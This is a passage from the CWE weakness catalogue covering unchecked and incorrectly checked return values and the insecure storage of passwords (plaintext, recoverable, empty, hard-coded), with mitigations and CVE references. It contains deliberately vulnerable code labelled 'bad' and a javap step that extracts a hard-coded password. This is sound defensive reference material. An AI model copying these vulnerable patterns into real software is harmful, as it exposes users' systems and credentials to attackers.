strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 4:

The following examples read a file into a byte array.

Example Language: C# *(bad)*

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
```

```
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```

Example Language: Java *(bad)*

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 5:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Example Language: Java *(bad)*

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
    ...
}
...
```

The following code does not check to see if the string returned by theItem property is null before calling the member function Equals(), potentially causing a NULL dereference. string itemName = request.Item(ITEM_NAME);

Example Language: *(bad)*

```
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Example Language: *(bad)*

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 7:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Example Language: *(bad)*

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 8:

It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect.

Example 9:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. When this occurs, a NULL pointer dereference (CWE-476) will occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Example 10:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(bad)*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: *(good)*

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Observed Examples

Reference	Description
CVE-2007-3798	Unchecked return value leads to resultant integer overflow and code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3798*
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447*
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916*
CVE-2008-5183	chain: unchecked return value can lead to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5183*
CVE-2010-0211	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0211*
CVE-2017-6964	Linux-based device mapper encryption program does not check the return value of setuid and setgid allowing attackers to execute code with unintended privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6964*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1853
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	1903
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	1984
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2000
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2003

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Unchecked Return Value
CLASP			Ignored function return value
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
CERT C Secure Coding	ERR33-C	Imprecise	Detect and handle standard library errors
CERT C Secure Coding	POS54-C	Imprecise	Detect and handle POSIX library errors
The CERT Oracle Secure Coding Standard for Java (2011)	EXP00-J		Do not ignore values returned by methods
SEI CERT Perl Coding Standard	EXP32-PL	Exact	Do not ignore function return values
Software Fault Patterns	SFP4		Unchecked Status Condition
OMG ASCSM	ASCSM-CWE-252-resource		
OMG ASCRM	ASCRM-CWE-252-data		
OMG ASCRM	ASCRM-CWE-252-resource		

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-253: Incorrect Check of Function Return Value

Weakness ID : 253 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software incorrectly checks a return value from a function, which prevents the software from detecting errors or exceptional conditions.

Extended Description

Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	754	Improper Check for Unusual or Exceptional Conditions	1381
ChildOf	C	573	Improper Following of Specification by Caller	1153

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	Unexpected State	
Integrity	DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.	

Potential Mitigations

Phase: Architecture and Design

Strategy = Language Selection

Use a language or compiler that uses exceptions and requires the catching of those exceptions.

Phase: Implementation

Properly check all functions which return a value.

Phase: Implementation

When designing any function make sure you return a value or throw an exception in case of an error.

Demonstrative Examples

Example 1:

This code attempts to allocate memory for 4 integers and checks if the allocation succeeds.

Example Language: C *(bad)*

```
tmp = malloc(sizeof(int) * 4);
if (tmp < 0 ) {
    perror("Failure");
    //should have checked if the call returned 0
}
```

The code assumes that only a negative return value would indicate an error, but malloc() may return a null pointer when there is an error. The value of tmp could then be equal to 0, and the error would be missed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2000
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2003

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Misinterpreted function return value
Software Fault Patterns	SFP4		Unchecked Status Condition
CERT C Secure Coding	ERR33-C	Imprecise	Detect and handle standard library errors
CERT C Secure Coding	POS54-C	Imprecise	Detect and handle POSIX library errors

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-256: Unprotected Storage of Credentials

Weakness ID : 256 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Storing a password in plaintext may result in a system compromise.

Extended Description

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	522	Insufficiently Protected Credentials	1091
CanAlsoBe	B	319	Cleartext Transmission of Sensitive Information	705

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Avoid storing passwords in easily accessible locations.

Phase: Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

A programmer might attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password because the encoding can be detected and decoded easily.

Effectiveness = None

Demonstrative Examples

Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

Example Language: Java *(bad)*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

Example Language: Java *(bad)*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
   <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
   providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1929
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

CWE-257: Storing Passwords in a Recoverable Format

Weakness ID : 257 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	522	Insufficiently Protected Credentials	1091
PeerOf	V	259	Use of Hard-coded Password	569
PeerOf	V	259	Use of Hard-coded Password	569
PeerOf	B	798	Use of Hard-coded Credentials	1486

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Gain Privileges or Assume Identity *User's passwords may be revealed.*	
Access Control	Gain Privileges or Assume Identity *Revealed passwords may be reused elsewhere to impersonate the users in question.*	

Potential Mitigations

Phase: Architecture and Design

Use strong, non-reversible encryption to protect stored passwords.

Demonstrative Examples

Example 1:

Both of these examples verify a password by comparing it to a stored compressed version.

Example Language: C *(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java *(bad)*

```
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
    <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Maintenance

The meaning of this node needs to be investigated more closely, especially with respect to what is meant by "recoverable."

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Storing passwords in a recoverable format

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
49	Password Brute Forcing

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-258: Empty Password in Configuration File

Weakness ID : 258 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Using an empty string as a password is insecure.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	521	Weak Password Requirements	1089
ChildOf	B	260	Password in Configuration File	573

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: System Configuration

Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example,

it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.

Demonstrative Examples

Example 1:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.

This Java example shows a properties file with an empty password string.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854
MemberOf	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	1936

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Empty Password in Configuration File

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

CWE-259: Use of Hard-coded Password

Weakness ID : 259 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.

Extended Description

A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the software contains an authentication mechanism that checks for a hard-coded password.
Outbound: the software connects to another system or component, and it contains hard-coded password for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	798	Use of Hard-coded Credentials	1486
PeerOf	B	257	Storing Passwords in a Recoverable Format	564
PeerOf	V	321	Use of Hard-coded Cryptographic Key	709
PeerOf	B	257	Storing Passwords in a Recoverable Format	564
CanFollow	B	656	Reliance on Security Through Obscurity	1285

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

Potential Mitigations

Phase: Architecture and Design

For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.

Phase: Architecture and Design

Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved. Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.

Demonstrative Examples

Example 1:

The following code uses a hard-coded password to connect to a database:

Example Language: Java *(bad)*

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

Example Language: *(attack)*

```
javap -c ConnMngr.class
    22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
    24: ldc #38; //String scott
    26: ldc #17; //String tiger
```

Example 2:

The following code is an example of an internal hard-coded password in the back-end:

Example Language: C *(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!")) {
        printf("Incorrect Password!\n");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java *(bad)*

```
int VerifyAdmin(String password) {
    if (!password.equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
    <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
